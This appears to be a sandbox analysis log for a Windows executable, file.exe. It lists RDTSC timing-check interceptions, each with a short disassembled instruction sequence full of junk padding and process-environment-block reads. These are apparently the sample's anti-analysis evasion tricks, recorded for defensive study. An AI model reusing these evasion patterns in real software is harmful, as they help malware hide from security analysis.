Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A51BA2 second address: A51BBC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE08A230Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A51D0B second address: A51D11 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A51D11 second address: A51D2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FEEE08A230Eh 0x0000000b popad 0x0000000c pushad 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A589FA second address: A589FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A589FE second address: A58A06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5834E second address: A5836C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FEEE0EE3606h 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d jnl 00007FEEE0EE360Ch 0x00000013 popad 0x00000014 pushad 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5836C second address: A58386 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FEEE08A2313h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A58386 second address: A5838A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A584F5 second address: A58521 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEEE08A2319h 0x00000009 popad 0x0000000a jmp 00007FEEE08A230Eh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A58521 second address: A58526 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5B726 second address: A5B744 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jg 00007FEEE08A2306h 0x00000011 jnp 00007FEEE08A2306h 0x00000017 popad 0x00000018 popad 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5B744 second address: A5B753 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnp 00007FEEE0EE3606h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5B753 second address: A5B760 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5B760 second address: A5B764 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5B764 second address: A5B768 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A67F5E second address: A67F62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A67F62 second address: A67F7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FEEE08A2316h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A67F7E second address: A67F88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FEEE0EE3606h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A67F88 second address: A67F8E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A67F8E second address: A67F97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A67F97 second address: A67F9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A0289 second address: 9A02A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jg 00007FEEE0EE3606h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jbe 00007FEEE0EE3606h 0x00000013 push eax 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A84364 second address: A8436A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8436A second address: A84374 instructions: 0x00000000 rdtsc 0x00000002 js 00007FEEE0EE3606h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A82E72 second address: A82E76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A82E76 second address: A82E81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A82FCB second address: A82FD5 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FEEE08A2306h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A82FD5 second address: A82FDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A82FDB second address: A82FDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A82FDF second address: A8300A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FEEE0EE3619h 0x00000011 jp 00007FEEE0EE3606h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8300A second address: A8300E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8300E second address: A83014 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A83014 second address: A8301E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FEEE08A2306h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8317A second address: A831A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 jns 00007FEEE0EE3606h 0x0000000d jmp 00007FEEE0EE3616h 0x00000012 popad 0x00000013 pushad 0x00000014 js 00007FEEE0EE3606h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A831A7 second address: A831AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A832F6 second address: A832FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A832FC second address: A8330C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007FEEE08A230Eh 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8330C second address: A83314 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A83314 second address: A83335 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FEEE08A230Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 popad 0x00000015 push edi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A87CD6 second address: A87CF2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE0EE3618h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8D549 second address: A8D54D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8D3C6 second address: A8D3DB instructions: 0x00000000 rdtsc 0x00000002 jp 00007FEEE0EE360Eh 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jo 00007FEEE0EE3606h 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9757D second address: A97585 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A92B6D second address: A92B73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A92B73 second address: A92B79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA5638 second address: AA5654 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FEEE0EE3612h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pushad 0x0000000e popad 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA5654 second address: AA565B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA52D4 second address: AA52D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA52D8 second address: AA52EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jbe 00007FEEE08A230Eh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AACE90 second address: AACE9A instructions: 0x00000000 rdtsc 0x00000002 je 00007FEEE0EE360Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAC237 second address: AAC23E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAC3A0 second address: AAC3AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FEEE0EE3606h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAC3AA second address: AAC3AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAC942 second address: AAC957 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEEE0EE3611h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB13DF second address: AB13FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE08A2311h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c pushad 0x0000000d popad 0x0000000e pop eax 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB14A1 second address: AB14AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007FEEE0EE3606h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB16A1 second address: AB16B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB2F5A second address: AB2F9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEEE0EE360Fh 0x00000009 jmp 00007FEEE0EE360Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FEEE0EE3613h 0x00000015 jmp 00007FEEE0EE360Ch 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB2F9A second address: AB2FA4 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FEEE08A2306h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB51A3 second address: AB51AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FEEE0EE3606h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB51AD second address: AB51B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB08AB second address: 4DB094C instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FEEE0EE3610h 0x00000008 jmp 00007FEEE0EE3615h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushfd 0x00000011 jmp 00007FEEE0EE3610h 0x00000016 adc cx, D888h 0x0000001b jmp 00007FEEE0EE360Bh 0x00000020 popfd 0x00000021 popad 0x00000022 xchg eax, ecx 0x00000023 jmp 00007FEEE0EE3616h 0x00000028 call dword ptr [74E5188Ch] 0x0000002e mov edi, edi 0x00000030 push ebp 0x00000031 mov ebp, esp 0x00000033 push ecx 0x00000034 mov ecx, dword ptr [7FFE0004h] 0x0000003a mov dword ptr [ebp-04h], ecx 0x0000003d cmp ecx, 01000000h 0x00000043 jc 00007FEEE0F150E5h 0x00000049 mov eax, 7FFE0320h 0x0000004e mov eax, dword ptr [eax] 0x00000050 mul ecx 0x00000052 shrd eax, edx, 00000018h 0x00000056 mov esp, ebp 0x00000058 pop ebp 0x00000059 ret 0x0000005a pushad 0x0000005b pushfd 0x0000005c jmp 00007FEEE0EE360Eh 0x00000061 xor cx, 2E18h 0x00000066 jmp 00007FEEE0EE360Bh 0x0000006b popfd 0x0000006c mov ah, 51h 0x0000006e popad 0x0000006f pop ecx 0x00000070 push eax 0x00000071 push edx 0x00000072 push eax 0x00000073 push edx 0x00000074 jmp 00007FEEE0EE360Dh 0x00000079 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB094C second address: 4DB0961 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE08A2311h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0961 second address: 4DB07BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edi 0x00000005 pushfd 0x00000006 jmp 00007FEEE0EE3613h 0x0000000b adc cx, 7CEEh 0x00000010 jmp 00007FEEE0EE3619h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 ret 0x0000001a nop 0x0000001b xor esi, eax 0x0000001d lea eax, dword ptr [ebp-10h] 0x00000020 push eax 0x00000021 call 00007FEEE5890EDAh 0x00000026 mov edi, edi 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB07BC second address: 4DB07C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB07C0 second address: 4DB07D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE0EE3614h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB07D8 second address: 4DB07DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB07DE second address: 4DB07E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB07E2 second address: 4DB07E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9004B second address: 4D90082 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 mov ebx, 350F4010h 0x0000000e mov dx, 4D3Ch 0x00000012 popad 0x00000013 xchg eax, ebp 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007FEEE0EE3611h 0x0000001b jmp 00007FEEE0EE360Bh 0x00000020 popfd 0x00000021 push eax 0x00000022 push edx 0x00000023 mov edx, esi 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90082 second address: 4D900DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ebp, esp 0x00000009 jmp 00007FEEE08A230Eh 0x0000000e mov eax, dword ptr fs:[00000030h] 0x00000014 pushad 0x00000015 jmp 00007FEEE08A230Eh 0x0000001a mov si, 3401h 0x0000001e popad 0x0000001f sub esp, 18h 0x00000022 pushad 0x00000023 mov edx, esi 0x00000025 mov edi, eax 0x00000027 popad 0x00000028 xchg eax, ebx 0x00000029 jmp 00007FEEE08A2310h 0x0000002e push eax 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007FEEE08A230Eh 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D900DE second address: 4D900E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D900E4 second address: 4D90140 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE08A230Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c pushad 0x0000000d mov cx, 7043h 0x00000011 mov bx, ax 0x00000014 popad 0x00000015 mov ebx, dword ptr [eax+10h] 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007FEEE08A2317h 0x00000021 sub cx, B09Eh 0x00000026 jmp 00007FEEE08A2319h 0x0000002b popfd 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90140 second address: 4D90145 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D902BB second address: 4D902E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE08A2319h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov di, D11Eh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D902E2 second address: 4D902E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D902E7 second address: 4D902ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D902ED second address: 4D902F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D902F1 second address: 4D9033D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FEEE08A2314h 0x00000012 or si, EF18h 0x00000017 jmp 00007FEEE08A230Bh 0x0000001c popfd 0x0000001d call 00007FEEE08A2318h 0x00000022 pop eax 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9033D second address: 4D90383 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE0EE3610h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a pushad 0x0000000b push ebx 0x0000000c jmp 00007FEEE0EE3618h 0x00000011 pop eax 0x00000012 popad 0x00000013 push dword ptr [eax] 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 jmp 00007FEEE0EE360Ah 0x0000001d mov ecx, 1DDA3E11h 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90383 second address: 4D903C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE08A2317h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr fs:[00000030h] 0x0000000f pushad 0x00000010 mov ax, 027Bh 0x00000014 movzx eax, bx 0x00000017 popad 0x00000018 push dword ptr [eax+18h] 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FEEE08A2315h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D903C9 second address: 4D903CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D903CF second address: 4D903D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90475 second address: 4D9047B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9047B second address: 4D904C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE08A230Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esi+08h], eax 0x0000000e jmp 00007FEEE08A230Eh 0x00000013 mov dword ptr [esi+0Ch], eax 0x00000016 jmp 00007FEEE08A2310h 0x0000001b mov eax, dword ptr [ebx+4Ch] 0x0000001e pushad 0x0000001f mov si, di 0x00000022 popad 0x00000023 mov dword ptr [esi+10h], eax 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D904C3 second address: 4D904D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE0EE360Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D904D3 second address: 4D904F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, cx 0x00000006 movzx eax, dx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [ebx+50h] 0x0000000f pushad 0x00000010 call 00007FEEE08A230Bh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
